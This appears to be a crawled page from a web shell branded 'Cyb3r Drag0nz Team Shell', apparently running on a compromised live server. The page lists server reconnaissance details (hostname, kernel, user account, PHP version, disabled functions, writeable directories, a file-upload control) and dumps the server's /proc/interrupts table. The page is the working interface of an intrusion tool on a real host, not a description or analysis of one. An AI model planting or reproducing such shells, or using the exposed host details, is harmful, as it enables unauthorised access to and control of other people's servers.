Cyb3r Drag0nz Team Shell
Cyb3rDrag0nz


Server : Apache
System : Linux wealthytechsolutions.wealthytechsolutions.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : raybondt ( 1003)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
  1:          0          0          0          9          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          0          1          0          0         41          0          0          0          0          0          0          0          0          3          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 11:          0     285093          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  11-fasteoi   uhci_hcd:usb1, virtio3
 12:          0          0         15          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio1-config
 25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   1-edge      virtio1-control
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   2-edge      virtio1-event
 27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   50396957  PCI-MSIX-0000:00:04.0   3-edge      virtio1-request
 28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio2-config
 29:          0          0        271          0          0          0          0          0          0         35          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   1-edge      virtio2-virtqueues
 30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio0-config
 31:    1678527     414315     424016     493646     414424     444316     582700          0     551987     264707     517044     485438     605978     636160     569040     536866  PCI-MSIX-0000:00:03.0   1-edge      virtio0-input.0
 32:    2219266     484585     528604     481201     466443     547221     708421          0     643134     379070     662694     427691     541759     788385     560229     565415  PCI-MSIX-0000:00:03.0   2-edge      virtio0-output.0
 33:     551340    1520521     614973     612418     486916     538708     718077          0     652085     333504     571516     571350     595619     672233     609453     599531  PCI-MSIX-0000:00:03.0   3-edge      virtio0-input.1
 34:     725403    1999002     518640     651630     588177     559291     726559          0     842400     355152     567106     679941     654288    1069049     756913     733584  PCI-MSIX-0000:00:03.0   4-edge      virtio0-output.1
 35:     512489     655095    1908475     693421     509541     580306     647293          0     532685     290620     579453     642533     534165     760256     642951     554894  PCI-MSIX-0000:00:03.0   5-edge      virtio0-input.2
 36:     631736     471247    2535934     674888     498046     507165     677098          0     610418     350438     565628     630027     793745     869160     653773     580471  PCI-MSIX-0000:00:03.0   6-edge      virtio0-output.2
 37:    1418061    1678641     814007    2274909     945304    1266272    1326066          0     833589     245710     746848    1206505    1054639    1048180    1154295    1035480  PCI-MSIX-0000:00:03.0   7-edge      virtio0-input.3
 38:     603553     490354     596937    1831761     505811     561740     908552          0     745535     368560     626109     509796     788431     754653     757659     638926  PCI-MSIX-0000:00:03.0   8-edge      virtio0-output.3
 39:     396996     467460     530707     566270    1419015     557007     535186          0     502018     291114     519847     504292     489613     628636     544821     486333  PCI-MSIX-0000:00:03.0   9-edge      virtio0-input.4
 40:     692338     526111     503861     518738    1641822     484466     596788          0     600321     303118     836665     463538     585001     736981     591012     683640  PCI-MSIX-0000:00:03.0  10-edge      virtio0-output.4
 41:     563054     524987     516764     630381     504563    1586150     685411          1     516115     343701     607570     594273     636871     660648     718203     647205  PCI-MSIX-0000:00:03.0  11-edge      virtio0-input.5
 42:     630485     498150     755925     652948     451361    1959522     835179          0     559550     350097     573908     508787     651063     800005     675620     638646  PCI-MSIX-0000:00:03.0  12-edge      virtio0-output.5
 43:     643243     513712     440668     626564     415156     562460    2016341          0     650596     266652     572183     539113     544456     710277     587317     437953  PCI-MSIX-0000:00:03.0  13-edge      virtio0-input.6
 44:     536919     643634     559026     718178     651548     938585    2930847          0     608241     310908     551477     526008     637027     646970     740807     692078  PCI-MSIX-0000:00:03.0  14-edge      virtio0-output.6
 45:     630650     523574     664757     599250     493188     645449     768034          2     657779     314803     582884     561414     664742    1416555     607340     634041  PCI-MSIX-0000:00:03.0  15-edge      virtio0-input.7
 46:     576556     481589     594048     794177     426033     497728     598059        137     735865     401152     632262     510805     729913     971234     882575     646897  PCI-MSIX-0000:00:03.0  16-edge      virtio0-output.7
 47:     527854     462873     488392     519394     401384     509047     652149          0    1976231     281856     593228     473343     545071     624158     547852     455613  PCI-MSIX-0000:00:03.0  17-edge      virtio0-input.8
 48:     548778     575705     546732     653900     617621     613770     733908          0    2676896     308527     579633     510649     623716     669964     674913     533926  PCI-MSIX-0000:00:03.0  18-edge      virtio0-output.8
 49:     411323     442395     391169     467131     357294     467897     513390          0     487144     592004     481394     446115     506400     560656     490130     443583  PCI-MSIX-0000:00:03.0  19-edge      virtio0-input.9
 50:     481807     427025     583590     466459     342900     430430     646643          0     561803     677033     482118     546543     477126     527054     755138     498422  PCI-MSIX-0000:00:03.0  20-edge      virtio0-output.9
 51:     467919     451119     662562     518552     403519     587048     594258          0     587200     268602    1835898     502710     531946     654787     481076     441161  PCI-MSIX-0000:00:03.0  21-edge      virtio0-input.10
 52:     531395     484299     665258     562941     469170     640117     562676          0     617907     334981    2452866     535492     778004     737241     605571     719274  PCI-MSIX-0000:00:03.0  22-edge      virtio0-output.10
 53:     521792     468621     458294     519587     417366     534384     611015          0     572604     285934     515175    1204841     573134     616475     602982     537257  PCI-MSIX-0000:00:03.0  23-edge      virtio0-input.11
 54:     572987     524230     645980     571573     384248     460345     858481          0     657315     381302     610916    1342818     541740     698279     662250     647540  PCI-MSIX-0000:00:03.0  24-edge      virtio0-output.11
 55:     451324     514573     578221     503531     407514     498691     576753          0     588240     290912     473253     502768    1665389     712782     540332     562081  PCI-MSIX-0000:00:03.0  25-edge      virtio0-input.12
 56:     512390     737905     712478     581813     493000     633317     641506          0     649901     425980     629101     484311    2217769     887970     617178     507621  PCI-MSIX-0000:00:03.0  26-edge      virtio0-output.12
 57:          0          0          0          0          0          0          0 2819089349          0          0          0          0          0         89          0          0  PCI-MSIX-0000:00:03.0  27-edge      virtio0-input.13
 58:     472085     451479     603596     612108     484762     534885     775073          0     568996     280397     570334     559309     691045    3233750     504024     706174  PCI-MSIX-0000:00:03.0  28-edge      virtio0-output.13
 59:    1118012    1348878    1230716    1024522    1118060     991965     757381          0     766672     297468     998558    1063613     971733     927462    3148049     689108  PCI-MSIX-0000:00:03.0  29-edge      virtio0-input.14
 60:     547042     534868     560223     781890     424466     878870     778778          0     642179     480636     744787     488730     573040     586586    2061649     574007  PCI-MSIX-0000:00:03.0  30-edge      virtio0-output.14
 61:     583595     455840     448477     516346     460883     559825     572035          0     586572     276678     566458     523751     531808     612614     573647    1891401  PCI-MSIX-0000:00:03.0  31-edge      virtio0-input.15
 62:     564342     579507     557874     575380     597135     563436     659396          0     578392     287353     543336     509618     564604     799483     561930    2845344  PCI-MSIX-0000:00:03.0  32-edge      virtio0-output.15
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC: 1496722586 1497549517 1531475806 1489740160 1496968796 1498132238 1490176788 2897245162 1539800969 1509374410 1554214791 1538637568 1518087566 1514283738 1471361530 1522826891   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:         34         45         25         29         63        118         13         12          9          7         10         14         19         15          8         33   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:   32617789   31558328   31260058   31822828   32235220   32075146   32220957   30911400   31807747   32443649   31650257   32110868   32447685   32560206   32157660   32204688   Rescheduling interrupts
CAL:  589237525  478262558  407290664  380149008  353506762  348750225  341970406  188817337  339231054  337131378  334798394  334444521  333015873  330127666  313594768  326533441   Function call interrupts
TLB:     396802     419205     423845     407229     388955     412082     403611     356283     383092     399032     378056     380796     377297     388765     374665     362201   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       8700       8700       8700       8700       8700       8700       8700       8700       8700       8700       8700       8700       8700       8700       8700       8700   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Cyb3r Drag0nz Team